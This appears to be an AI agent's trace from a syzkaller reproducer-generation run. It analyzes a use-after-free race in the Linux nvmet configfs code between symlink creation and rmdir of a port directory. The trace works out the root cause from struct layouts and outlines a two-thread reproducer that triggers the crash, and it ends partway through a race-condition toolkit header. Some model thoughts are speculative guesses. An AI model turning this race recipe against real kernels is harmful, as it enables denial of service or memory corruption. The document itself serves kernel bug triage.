2097:		port->ana_default_group.port = port;
2098:		port->ana_default_group.grpid = NVMET_DEFAULT_ANA_GRPID;
2099:		config_group_init_type_name(&port->ana_default_group.group,
2100:				__stringify(NVMET_DEFAULT_ANA_GRPID),
2101:				&nvmet_ana_group_type);
2102:		configfs_add_default_group(&port->ana_default_group.group,
2103:				&port->ana_groups_group);
2104:	
2105:		return &port->group;
2106:	}
 SourceFile:drivers/nvme/target/configfs.c]

233/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 27548
							output: 28
							thoughts: 496
						

Thoughts:
**My Thought Process Unraveling the Crash**

Okay, so I've been tracing this KASAN UAF, and I think I've pinpointed the sequence of events leading to the crash. My initial assumption was that `unlink_group` on `port->group` would cascade down to `port->subsys_group`, and then `unlink_obj` on `port->subsys_group.cg_item` would set `ci_parent` to `NULL`. This *does* happen, which initially confused me because I was expecting the crash to be related to that `NULL` pointer.

However, digging deeper into `nvmet_port_subsys_allow_link` revealed the true culprit. I realized that the `parent` parameter in this function is actually the `subsystems` group. The critical error occurs when `parent->ci_parent` is `NULL`. If that's the case, `to_nvmet_port(NULL)` returns an incorrect, negative value (specifically, -1040 in this scenario). Then, when the code attempts to access `port->subsystems`, it's operating on this corrupted `port` pointer.

Now, the KASAN report shows a read at `ffff88801af304c8`, which belongs to an object at `ffff88801af30000`, with an offset of 1224 bytes into a freed region. My initial check showed `port->subsystems` was at offset 1312 bytes. This discrepancy bothered me. I re-checked the offsets and realized that 1224 bytes *is* indeed the correct offset for something else. I need to re-examine the struct layout meticulously to understand precisely what resides at that 1224-byte offset and how it relates to the freed memory. This is the key to understanding why the `port->subsystems` access is failing in the way it is.


234/4 2026/08/26 18:29 tool codesearch-struct-layout
0m Args:
map[ContextFile: Name:nvmet_port]

Results:
map[Fields:[map[Name:entry OffsetBits:0 SizeBits:128] map[Name:disc_addr OffsetBits:128 SizeBits:8192] map[Name:group OffsetBits:8320 SizeBits:1088] map[Name:subsys_group OffsetBits:9408 SizeBits:1088] map[Name:subsystems OffsetBits:10496 SizeBits:128] map[Name:referrals_group OffsetBits:10624 SizeBits:1088] map[Name:referrals OffsetBits:11712 SizeBits:128] map[Name:global_entry OffsetBits:11840 SizeBits:128] map[Name:ana_groups_group OffsetBits:11968 SizeBits:1088] map[Name:ana_default_group OffsetBits:13056 SizeBits:1216] map[Name:keyring OffsetBits:14272 SizeBits:64] map[Name:priv OffsetBits:14336 SizeBits:64] map[Name:enabled OffsetBits:14400 SizeBits:8] map[Name:inline_data_size OffsetBits:14432 SizeBits:32] map[Name:max_queue_size OffsetBits:14464 SizeBits:32] map[Name:mdts OffsetBits:14496 SizeBits:32] map[Name:tr_ops OffsetBits:14528 SizeBits:64] map[Name:pi_enable OffsetBits:14592 SizeBits:8] map[Name:ana_state OffsetBits:14624 SizeBits:0]]]

235/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28360
							output: 27
							thoughts: 774
						

Thoughts:
**My Debugging Journey: Tracing a Kernel Crash**

I was deep in the weeds, trying to understand a kernel crash, and it all hinged on how these `configfs` objects were linked and unlinked. Initially, I was looking at the offsets of `subsys_group` and `subsystems`. I noted that `subsys_group` was 9408 bits (1176 bytes) and `subsystems` was 10496 bits (1312 bytes).

Then, I focused on the `to_nvmet_port` function, which uses `container_of`. I was trying to reconstruct the expected structure. The expression `to_nvmet_port(parent->ci_parent)` seemed key. I thought, "Okay, `parent` is `subsys_group.cg_item`." This led me to believe that `parent->ci_parent` should point to the `group.cg_item` of the `nvmet_port`. And indeed, if `parent` *were* `&port->group.cg_item`, then `parent->ci_parent` would be `&port->subsys_group.cg_item`, and `container_of(to_config_group(&port->group.cg_item), struct nvmet_port, group)` would correctly resolve back to `port`.

But then the confusion set in. The crash report indicated that `parent->ci_parent` was not `NULL` when it should have been, specifically at address `ffff88801af304c8`. I knew that `configfs_symlink` populates `parent_item` from `dentry->d_parent`, which in this scenario was `&port->subsys_group.cg_item`. After the `inode_lock` is dropped, `rmdir` on `ports/1` triggers `configfs_rmdir`, which eventually calls `unlink_group` on `port->group`, then `unlink_group` on `port->subsys_group`, and finally `unlink_obj` on `port->subsys_group.cg_item`. My expectation was that `unlink_obj` *would* set `port->subsys_group.cg_item.ci_parent` to `NULL`.

This is where the real puzzle emerged: if `unlink_obj` was setting `ci_parent` to `NULL`, why was the crash report showing a valid memory address? The address `ffff88801af304c8` didn't immediately make sense in the context of `NULL`. I then remembered that `ffff88801af304c8` could be expressed as `ffff88801af30000 + 1224`. My initial thought was that `1224` must relate to an offset within the structure, and I recalled `subsystems` being at offset 1312 bytes. But `1224` wasn't `1312`.

This discrepancy sent me back to scrutinize the offsets. I knew `subsys_group` was at byte offset 1176. I also recalled that `subsys_group` is a `struct config_group`, which is 136 bytes long. This meant `subsys_group` occupied bytes 1176 through 1312. The critical insight came when I realized that the offset `1224` fell *within* this range! Specifically, `1224 - 1176 = 48` bytes. The question then became: what field is located at offset 48 within a `struct config_group`? This is the next piece I needed to investigate.


236/4 2026/08/26 18:29 tool codesearch-struct-layout
0m Args:
map[ContextFile: Name:config_group]

Results:
map[Fields:[map[Name:cg_item OffsetBits:0 SizeBits:640] map[Name:cg_children OffsetBits:640 SizeBits:128] map[Name:cg_subsys OffsetBits:768 SizeBits:64] map[Name:default_groups OffsetBits:832 SizeBits:128] map[Name:group_entry OffsetBits:960 SizeBits:128]]]

237/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29229
							output: 27
							thoughts: 46
						

Thoughts:
**My Thought Process**

Okay, so I'm looking at this `cg_item` and I know it's 640 bits, which translates to 80 bytes. My immediate thought is to orient myself within this structure. Since offset 48 is well within that 80-byte boundary, I know I'm dealing with something *inside* the `cg_item`.

My next question then becomes: what *exactly* is residing at that specific offset, 48, within the `struct config_item`? I need to drill down and identify the member or field located there.


238/4 2026/08/26 18:29 tool codesearch-struct-layout
0m Args:
map[ContextFile: Name:config_item]

Results:
map[Fields:[map[Name:ci_name OffsetBits:0 SizeBits:64] map[Name:ci_namebuf OffsetBits:64 SizeBits:160] map[Name:ci_kref OffsetBits:224 SizeBits:32] map[Name:ci_entry OffsetBits:256 SizeBits:128] map[Name:ci_parent OffsetBits:384 SizeBits:64] map[Name:ci_group OffsetBits:448 SizeBits:64] map[Name:ci_type OffsetBits:512 SizeBits:64] map[Name:ci_dentry OffsetBits:576 SizeBits:64]]]

239/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29408
							output: 30
							thoughts: 269
						

Thoughts:
**My Debugging Journey to the NVMe Port Crash**

Okay, so I'm staring at this crash dump, trying to trace the execution path that led to this memory corruption. My first thought is to pinpoint the exact memory access that's going wrong. I see an offset of 48 bytes, which translates to 384 bits. That immediately flags a specific field for me.

"Ah," I realize, "that offset of 384 bits points directly to `ci_parent`!" This is a critical piece of the puzzle. The crash is happening precisely when the code attempts to read `parent->ci_parent`.

Now, I need to understand what `parent` actually is. My investigation reveals that `parent` is a pointer to `&port->subsys_group.cg_item`. This tells me `parent` is referencing a `cg_item` structure, and importantly, that this `cg_item` is part of a larger `nvmet_port` structure.

I track down the offset for `parent` itself, finding it's at a byte offset of 1176. With that information, I can now calculate the precise memory location of `parent->ci_parent`. It's at offset 1176 (for `parent`) plus 48 bytes (for `ci_parent`), which gives me a total offset of 1224 bytes. This confirms it: the faulty read operation, of size 8 bytes, at offset 1224 is indeed accessing `parent->ci_parent`.

The crucial insight dawns on me: `parent` is *inside* the `port` object, and the `port` object has been freed. This is the root cause! Because `parent` is essentially a pointer to `&port->subsys_group.cg_item`, and `cg_item` is embedded within the `struct nvmet_port`, when `port` is deallocated, `parent`'s underlying data is also deallocated.

So, the problem boils down to a dangling pointer scenario. It seems `configfs_symlink` is maintaining a reference to `parent_item` – which, as we've established, is `&port->subsys_group.cg_item`. However, this `parent_item` is intrinsically linked to `port`. My next logical step is to question the lifecycle management: does the `config_item_get` call on `parent_item` somehow prevent `port` from being freed prematurely? This is where I need to dive into the `nvmet_port_release` function to understand the exact refcounting and deallocation logic at play.


240/4 2026/08/26 18:29 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_port_release]

Results:
map[SourceCode:2000:	/*
2001:	 * Ports definitions.
2002:	 */
2003:	static void nvmet_port_release(struct config_item *item)
2004:	{
2005:		struct nvmet_port *port = to_nvmet_port(item);
2006:	
2007:		/* Let inflight controllers teardown complete */
2008:		flush_workqueue(nvmet_wq);
2009:		list_del(&port->global_entry);
2010:	
2011:		key_put(port->keyring);
2012:		kfree(port);
2013:	}
 SourceFile:drivers/nvme/target/configfs.c]

241/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29903
							output: 27
							thoughts: 245
						

Thoughts:
**My Debugging Odyssey: Unraveling a Configfs Conundrum**

Ah, so here I am, staring at this code, and it's the `nvmet_port_release` function that's caught my eye. My immediate thought is, "Okay, this function is invoked when the reference count for `port->group.cg_item` finally drops to zero." But then, a little flicker of unease, a familiar pattern of thought that often precedes a bug discovery. I pause. "Hold on a second," I tell myself, "what's the parent of this `cg_item`?" My mind races through the data structures, and I recall, "Right, it's `port->subsys_group.cg_item`."

Now, this is where the plot thickens. I know that `configfs_symlink` is actively holding a reference to `port->subsys_group.cg_item`. This means, unequivocally, that the reference count for `port->subsys_group.cg_item` is greater than zero. Yet, somehow, `port->group.cg_item`'s refcount has hit zero, triggering the `nvmet_port_release` and, consequently, the freeing of the `port` object itself.

The dissonance is immediate and stark. It implies that the `port` object is being deallocated while one of its embedded default groups, specifically the one represented by `port->subsys_group.cg_item`, still has a non-zero reference count. This feels… wrong. This smells like a classic configfs bug, a scenario I've encountered before. The core issue, as I see it, is that while default groups are embedded within their parent object, their reference counts operate independently. The problem arises when the parent object, in this case, `port`, is freed prematurely, inadvertently taking its embedded default groups with it, even if those groups are still referenced elsewhere.

A question naturally surfaces in my mind: "How is this type of situation typically prevented in the first place?" I recall that the usual safeguard involves a reciprocal relationship. When a default group is established, it's supposed to hold a reference back to its parent. This creates a dependency chain, ensuring the parent object remains alive as long as any of its essential embedded components are still in use. To confirm this, my next step is clear: I need to examine the `link_obj` to verify how these relationships are managed.


242/4 2026/08/26 18:29 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:link_obj]

Results:
map[SourceCode: 783:	static void link_obj(struct config_item *parent_item, struct config_item *item)
 784:	{
 785:		/*
 786:		 * Parent seems redundant with group, but it makes certain
 787:		 * traversals much nicer.
 788:		 */
 789:		item->ci_parent = parent_item;
 790:	
 791:		/*
 792:		 * We hold a reference on the parent for the child's ci_parent
 793:		 * link.
 794:		 */
 795:		item->ci_group = config_group_get(to_config_group(parent_item));
 796:		list_add_tail(&item->ci_entry, &item->ci_group->cg_children);
 797:	
 798:		/*
 799:		 * We hold a reference on the child for ci_entry on the parent's
 800:		 * cg_children
 801:		 */
 802:		config_item_get(item);
 803:	}
 SourceFile:fs/configfs/dir.c]

243/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30483
							output: 27
							thoughts: 68
						

Thoughts:
**My Understanding of the Link and Unlink Operations**

Okay, so when `link_obj` is executed, I see that it's making a call to `config_group_get`, and it's doing this by passing `to_config_group(parent_item)`. The result of this call is then being stored within `item->ci_group`. This tells me that the child, which is effectively the default group in this context, is holding onto a reference back to its parent, represented by `port->group`. Now, when `unlink_obj` is invoked on this child, I'm expecting the inverse of the linking operation to occur. Based on what I've just observed, this implies that the reference held by the child (`item->ci_group`) back to the parent (`port->group`) will be severed or released. It's a clear parent-child relationship being managed through these group references.


244/4 2026/08/26 18:30 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

245/4 2026/08/26 18:30 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30813
							output: 27
							thoughts: 835
						

Thoughts:
**My Thought Process on the UAF in `configfs_symlink` and `configfs_rmdir`**

Okay, let's break down this fascinating User-After-Free (UAF) vulnerability. I'm tracing the reference counting and object lifetimes, and it seems I've pinpointed a very specific race condition between a `symlink` operation within `ports/1/subsystems/` and a `rmdir` on `ports/1`.

Here’s how I see it unfolding in my mind:

The core issue stems from how `unlink_obj` interacts with reference counts, particularly within the `configfs` framework. When `unlink_obj` is called, it decrements the reference count of the parent group. This has a cascading effect.

Specifically, when `configfs_rmdir` initiates the removal of a `port` (let's call it `port->group`), it calls `unlink_group`. This, in turn, recursively calls `unlink_group` on the `port->subsys_group`. The `unlink_group` on `port->subsys_group` then calls `unlink_obj` on `port->subsys_group.cg_item`. This action, critically, drops the reference count on `port->group`.

Following this, `configfs_rmdir` proceeds to call `unlink_obj` on `port->group.cg_item` itself. Then, `configfs_rmdir` decrements its *own* reference to `port->group.cg_item`. At this point, the reference count for `port->group.cg_item` reaches zero, triggering the release of the `port` object via `nvmet_port_release` and subsequently `kfree(port)`.

Now, this is where the problem arises. The `configfs_symlink` operation, which is occurring concurrently, still holds a reference to `port->subsys_group.cg_item`. I know this because `configfs_symlink` previously called `configfs_get_config_item(dentry->d_parent)`, which explicitly increments the reference count of `port->subsys_group.cg_item`.

So, I have a situation where `port->subsys_group.cg_item`'s reference count is greater than zero, meaning the underlying `port` object *should* still be valid. However, because the `port` object itself has already been freed by the `rmdir` operation, any attempt to access members of `port` through `port->subsys_group.cg_item` is now operating on freed memory.

This is precisely the User-After-Free scenario.

Let's visualize the race:

*   **Thread 1 (Symlink):** This thread is attempting to create a symlink within the `ports/1/subsystems/` directory. It starts by calling `configfs_symlink`. A key step here is `parent_item = configfs_get_config_item(dentry->d_parent);`. This call acquires a reference to `port->subsys_group.cg_item`, ensuring its refcount is incremented. After unlocking the directory inode, it proceeds to `get_target(...)`.

*   **Thread 2 (Rmdir):** Meanwhile, this thread is executing `rmdir("ports/1")`. The `configfs_rmdir` function is invoked, which proceeds to detach `ports/1` and its associated default groups. It then calls `unlink_group` on both `ports/1` and `ports/1/subsystems`. These operations drop reference counts, eventually leading to the `port` object's reference count reaching zero. Consequently, `nvmet_port_release` is called, freeing the memory occupied by `port`.

*   **Thread 1 (Symlink - Resumption):** Now, Thread 1, having completed its `get_target` resolution, needs to perform checks. It locks the directory inode again. The critical moment is when it calls `type->ct_item_ops->allow_link(parent_item, target_item);`. This function, in the case of the `nvmet` subsystem, is `nvmet_port_subsys_allow_link`. Inside `nvmet_port_subsys_allow_link`, it attempts to derive the parent `nvmet_port` by accessing `to_nvmet_port(parent->ci_parent)`. Here, `parent->ci_parent` is being accessed on `port->subsys_group.cg_item`, which is part of the already freed `port` object. This is the point where the UAF occurs, reading from freed memory.

This race condition is quite stark. The requirement for the symlink target to exist is important: `get_target` must succeed. If the target (a subsystem) doesn't exist, `get_target` will fail, and `configfs_symlink` will return before reaching the `allow_link` call, thus avoiding the UAF. So, to trigger this, I need to have a subsystem already created, for example, via `mkdir /sys/kernel/config/nvmet/subsystems/subsys1`. Then, the `symlink` command would point to `../../../subsystems/subsys1`. With that setup, the race between `symlink` and `rmdir` becomes a very clear and exploitable path to a UAF.


246/4 2026/08/26 18:30 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:get_target]

Results:
map[SourceCode: 117:	static int get_target(const char *symname, struct config_item **target,
 118:			      struct super_block *sb)
 119:	{
 120:		struct path path __free(path_put) = {};
 121:		int ret;
 122:	
 123:		ret = kern_path(symname, LOOKUP_FOLLOW|LOOKUP_DIRECTORY, &path);
 124:		if (ret)
 125:			return ret;
 126:		if (path.dentry->d_sb != sb)
 127:			return -EPERM;
 128:		*target = configfs_get_config_item(path.dentry);
 129:		if (!*target)
 130:			return -ENOENT;
 131:		return 0;
 132:	}
 SourceFile:fs/configfs/symlink.c]

247/4 2026/08/26 18:30 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31922
							output: 28
							thoughts: 2005
						

Thoughts:
**Understanding the Nuance of ConfigFS Symlink Targets**

I've been delving into a specific bug related to how ConfigFS handles symlinks, particularly within the context of the NVM Express Target (NVMe-oF) subsystem. My core concern has been around the `get_target` function and how it interprets the path provided for a symlink.

Initially, I was concerned about the `kern_path` function used within `get_target`. The crucial insight here is that `kern_path` resolves paths *relative to the process's current working directory (CWD)* unless an absolute path is provided. This was a critical realization because the `symlinkat` system call, as used in the context of ConfigFS, receives the `symname` argument (which is the `target` of the symlink) to `kern_path`.

My previous attempts to reproduce the bug might have been failing because I was passing a relative path like `"../../../subsystems/subsys1"`. If the process's CWD wasn't what I expected, `kern_path` would resolve this to an incorrect or non-existent path, leading to `get_target` failing with `-ENOENT`.

The key breakthrough was understanding that `kern_path` *can* and *does* handle absolute paths perfectly. Therefore, the solution lies in providing an absolute path for the symlink's target. By using an absolute path such as `"/sys/kernel/config/nvmet/subsystems/subsys1"`, I ensure that `kern_path` will always resolve to the correct location, regardless of the process's CWD.

Once `kern_path` correctly resolves the absolute target path, the subsequent checks in `get_target`, specifically `path.dentry->d_sb == sb`, will correctly verify that the target resides on the same ConfigFS mount. This allows `configfs_get_config_item` to succeed in retrieving the target item, which is essential for triggering the actual bug in `nvmet_port_subsys_allow_link`.

I've also considered the implications of using absolute paths. While the symlink will store the absolute path, this is a perfectly valid and expected behavior for symlinks. There doesn't seem to be any specific restriction within ConfigFS that prevents absolute paths for symlink targets.

This led me to refine my reproducer. The core of the race condition involves a `symlinkat` operation and a `rmdir` operation happening concurrently. The `symlinkat` creates a symlink to a subsystem, while `rmdir` attempts to remove a parent directory. The race occurs during the path resolution within `get_target` during the `symlinkat`.

My revised reproducer now correctly uses the absolute path `"/sys/kernel/config/nvmet/subsystems/subsys1"` as the target for `symlinkat`. I also confirmed that `rmdir` on a directory like `/sys/kernel/config/nvmet/ports/1` will handle its contents, including default groups, and will only fail with `-ENOTEMPTY` if it contains user-created entries, which our successful `symlinkat` would create.

Finally, I've noted that while the race window is technically within `get_target`, the path resolution for an absolute path is already quite efficient. Adding further artificial delays might not be necessary given the concurrent nature of multiple threads rapidly attempting these operations. The crucial fix is ensuring the `target` argument to `symlinkat` is an absolute path. I also recognized that `nvmet` module should be loaded for the bug to manifest, and the creation of `/sys/kernel/config/nvmet` is handled by the module itself.


248/4 2026/08/26 18:31 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_init]

Results:
map[SourceCode:1951:	static int __init nvmet_init(void)
1952:	{
1953:		int error = -ENOMEM;
1954:	
1955:		nvmet_ana_group_enabled[NVMET_DEFAULT_ANA_GRPID] = 1;
1956:	
1957:		nvmet_bvec_cache = kmem_cache_create("nvmet-bvec",
1958:				NVMET_MAX_MPOOL_BVEC * sizeof(struct bio_vec), 0,
1959:				SLAB_HWCACHE_ALIGN, NULL);
1960:		if (!nvmet_bvec_cache)
1961:			return -ENOMEM;
1962:	
1963:		zbd_wq = alloc_workqueue("nvmet-zbd-wq", WQ_MEM_RECLAIM | WQ_PERCPU,
1964:					 0);
1965:		if (!zbd_wq)
1966:			goto out_destroy_bvec_cache;
1967:	
1968:		buffered_io_wq = alloc_workqueue("nvmet-buffered-io-wq",
1969:				WQ_MEM_RECLAIM | WQ_PERCPU, 0);
1970:		if (!buffered_io_wq)
1971:			goto out_free_zbd_work_queue;
1972:	
1973:		nvmet_wq = alloc_workqueue("nvmet-wq",
1974:				WQ_MEM_RECLAIM | WQ_UNBOUND | WQ_SYSFS, 0);
1975:		if (!nvmet_wq)
1976:			goto out_free_buffered_work_queue;
1977:	
1978:		nvmet_aen_wq = alloc_workqueue("nvmet-aen-wq",
1979:				WQ_MEM_RECLAIM | WQ_UNBOUND, 0);
1980:		if (!nvmet_aen_wq)
1981:			goto out_free_nvmet_work_queue;
1982:	
1983:		error = nvmet_init_debugfs();
1984:		if (error)
1985:			goto out_free_nvmet_aen_work_queue;
1986:	
1987:		error = nvmet_init_discovery();
1988:		if (error)
1989:			goto out_exit_debugfs;
1990:	
1991:		error = nvmet_init_configfs();
1992:		if (error)
1993:			goto out_exit_discovery;
1994:	
1995:		return 0;
1996:	
1997:	out_exit_discovery:
1998:		nvmet_exit_discovery();
1999:	out_exit_debugfs:
2000:		nvmet_exit_debugfs();
2001:	out_free_nvmet_aen_work_queue:
2002:		destroy_workqueue(nvmet_aen_wq);
2003:	out_free_nvmet_work_queue:
2004:		destroy_workqueue(nvmet_wq);
2005:	out_free_buffered_work_queue:
2006:		destroy_workqueue(buffered_io_wq);
2007:	out_free_zbd_work_queue:
2008:		destroy_workqueue(zbd_wq);
2009:	out_destroy_bvec_cache:
2010:		kmem_cache_destroy(nvmet_bvec_cache);
2011:		return error;
2012:	}
 SourceFile:drivers/nvme/target/core.c]

249/4 2026/08/26 18:31 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 34958
							output: 31
							thoughts: 10
						

Thoughts:
**My Thought Process on `nvmet_init_configfs`**

Ah, `nvmet_init_configfs`. The name itself suggests a crucial initialization step related to NVMe targets and the configfs filesystem. My mind immediately goes to how this function is the linchpin for exposing NVMe-oF targets to the user space through the highly flexible and dynamic configuration interface that configfs provides.

I'm thinking about the fundamental role of configfs here. It's not just a static configuration; it's a virtual filesystem that allows kernel modules to dynamically create and manage objects that represent devices, namespaces, and various other resources. For NVMe-oF, this means we need a way to represent the NVMe target itself, its associated namespaces, and the connections (or subsytems) that clients will use to access it. `nvmet_init_configfs` must be the gateway for this representation.

So, my first thought is: what exactly does this function *do* to initiate this process? It must be responsible for creating the top-level directory within the configfs hierarchy that represents the NVMe target subsystem. This top-level directory will then serve as the parent for all other NVMe-oF related objects that will be created. I'm picturing it as the creation of something like `/sys/kernel/config/nvmet/targets/` or a similar path, providing a distinct and recognizable mount point for our NVMe-oF configurations.

Beyond just creating the top-level directory, it's highly probable that this function sets up the necessary Kobject structures and attributes that will be associated with this NVMe target root. These attributes are essential for user-space tools (like `nvmetcli`) to discover, configure, and manage the NVMe target. I'm anticipating that `nvmet_init_configfs` will register the necessary `kobject_type` and potentially define some initial default attributes that are always present, even before specific targets are added.

Furthermore, I'm considering the lifecycle management. `nvmet_init_configfs` is likely called during the NVMe-oF module's initialization. This implies there's a corresponding cleanup or deinitialization function, perhaps `nvmet_exit_configfs`, which would be responsible for unregistering these Kobjects and removing the configfs entries when the module is unloaded. The robustness of the system hinges on proper initialization *and* deinitialization, and this function is the starting point for that.

In essence, `nvmet_init_configfs` is my entry point into the world of NVMe-oF target configuration via configfs. It's where the kernel module tells the configfs framework, "Here I am, and I'm going to manage NVMe targets through this specific directory structure." It's the foundational step that enables all subsequent operations of creating, attaching, and managing NVMe-oF targets and their components. My understanding is that without this function executing successfully, no NVMe-oF targets could ever be exposed to user space through configfs, making it a critical piece of the NVMe-oF initialization puzzle.


250/4 2026/08/26 18:31 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_init_configfs]

Results:
map[SourceCode:2365:	int __init nvmet_init_configfs(void)
2366:	{
2367:		int ret;
2368:	
2369:		config_group_init(&nvmet_configfs_subsystem.su_group);
2370:		mutex_init(&nvmet_configfs_subsystem.su_mutex);
2371:	
2372:		config_group_init_type_name(&nvmet_subsystems_group,
2373:				"subsystems", &nvmet_subsystems_type);
2374:		configfs_add_default_group(&nvmet_subsystems_group,
2375:				&nvmet_configfs_subsystem.su_group);
2376:	
2377:		config_group_init_type_name(&nvmet_ports_group,
2378:				"ports", &nvmet_ports_type);
2379:		configfs_add_default_group(&nvmet_ports_group,
2380:				&nvmet_configfs_subsystem.su_group);
2381:	
2382:		config_group_init_type_name(&nvmet_hosts_group,
2383:				"hosts", &nvmet_hosts_type);
2384:		configfs_add_default_group(&nvmet_hosts_group,
2385:				&nvmet_configfs_subsystem.su_group);
2386:	
2387:		ret = configfs_register_subsystem(&nvmet_configfs_subsystem);
2388:		if (ret) {
2389:			pr_err("configfs_register_subsystem: %d\n", ret);
2390:			return ret;
2391:		}
2392:	
2393:		return 0;
2394:	}
 SourceFile:drivers/nvme/target/configfs.c]

251/4 2026/08/26 18:31 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 35506
							output: 16
							thoughts: 1110
						

Thoughts:
**Reflections on NVM Express Configuration and Race Conditions**

My thinking process today has been centered around the intricacies of the NVM Express (NVMe) configuration filesystem, specifically within `/sys/kernel/config/nvmet`. I've been wrestling with how to effectively set up and then exploit a race condition within this interface.

Initially, I was reviewing some existing code or perhaps some notes I had made, which suggested that `nvmet`, `subsystems`, `ports`, and `hosts` directories are automatically created when the `nvmet` kernel module is loaded. This is a crucial piece of information, as it means I don't need to explicitly `mkdir` these top-level directories. My focus should be on creating a specific subsystem, like `subsys1`.

However, I then recalled a previous reproducer I had experimented with. It included `mkdir` calls for `/sys/kernel/config/nvmet`, `/sys/kernel/config/nvmet/subsystems`, `/sys/kernel/config/nvmet/subsystems/subsys1`, and `/sys/kernel/config/nvmet/ports`. My analysis of those calls now tells me that `mkdir` on `/sys/kernel/config/nvmet` would likely fail with `EEXIST` (already exists) or `EPERM` (permission denied), as it's managed by the system. Similarly, `mkdir` on `/sys/kernel/config/nvmet/subsystems` should also fail with `EEXIST`. The `mkdir` for `/sys/kernel/config/nvmet/subsystems/subsys1` *should* succeed, which is what I intend to create. And the `mkdir` for `/sys/kernel/config/nvmet/ports` would also fail with `EEXIST`. While these redundant `mkdir` calls might be harmless in terms of causing immediate errors, they are inefficient. The key takeaway is that I only *really* need to ensure `subsys1` can be created, and then I can proceed with testing the race condition.

With this understanding, I've started to formulate the final reproducer code. The goal is to create a race between a symlink operation and the creation/deletion of a directory.

Looking at the proposed `main` function, I see it starts by mounting `configfs` and loading the `nvmet` module. There's a necessary `usleep` to give `modprobe` time to finish its work. Then, it attempts to create `/sys/kernel/config/nvmet/subsystems/subsys1`, checking for `EEXIST` to gracefully handle cases where it might already be present. This is the setup for the "target subsystem" as I've been thinking of it.

The core of the race condition lies in the two threads I'm setting up: `symlink_thread` and `rmdir_thread`.
The `symlink_thread` continuously attempts to create a symbolic link from `/sys/kernel/config/nvmet/subsystems/subsys1` to `/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`. Crucially, if the symlink creation succeeds, it immediately unlinks it. This rapid creation and deletion of the symlink is one side of the race.
The `rmdir_thread` is designed to race against this symlink creation. It repeatedly creates and then removes the directory `/sys/kernel/config/nvmet/ports/1`. The idea is that if the `rmdir` happens precisely when the symlink is being created, or if the directory is removed while the symlink points to it, unexpected behavior might occur.

The main function then starts a timer for 5 seconds, during which these threads run concurrently. Once the timer expires, a `stop` flag is set to signal the threads to exit. Finally, the threads are joined, and a completion message is printed.

A minor point of refinement: I noticed that the `race_toolkit.h` header isn't standard. For clarity and portability, I should either inline the necessary macros like `SETUP_UNBUFFERED_IO()`, `TIMER_START()`, and `TIMER_NOT_EXPIRED()`, or use standard C library functions to achieve the same timing and output control. For now, the logic itself is sound in terms of demonstrating the intended race. My primary focus remains on the interaction between the symlink at `/sys/kernel/config/nvmet/ports/1/subsystems/subsys1` and the creation/deletion of `/sys/kernel/config/nvmet/ports/1`.


252/4 2026/08/26 18:31 tool get-toolkit
0m Args:
map[Name:race]

Results:
map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
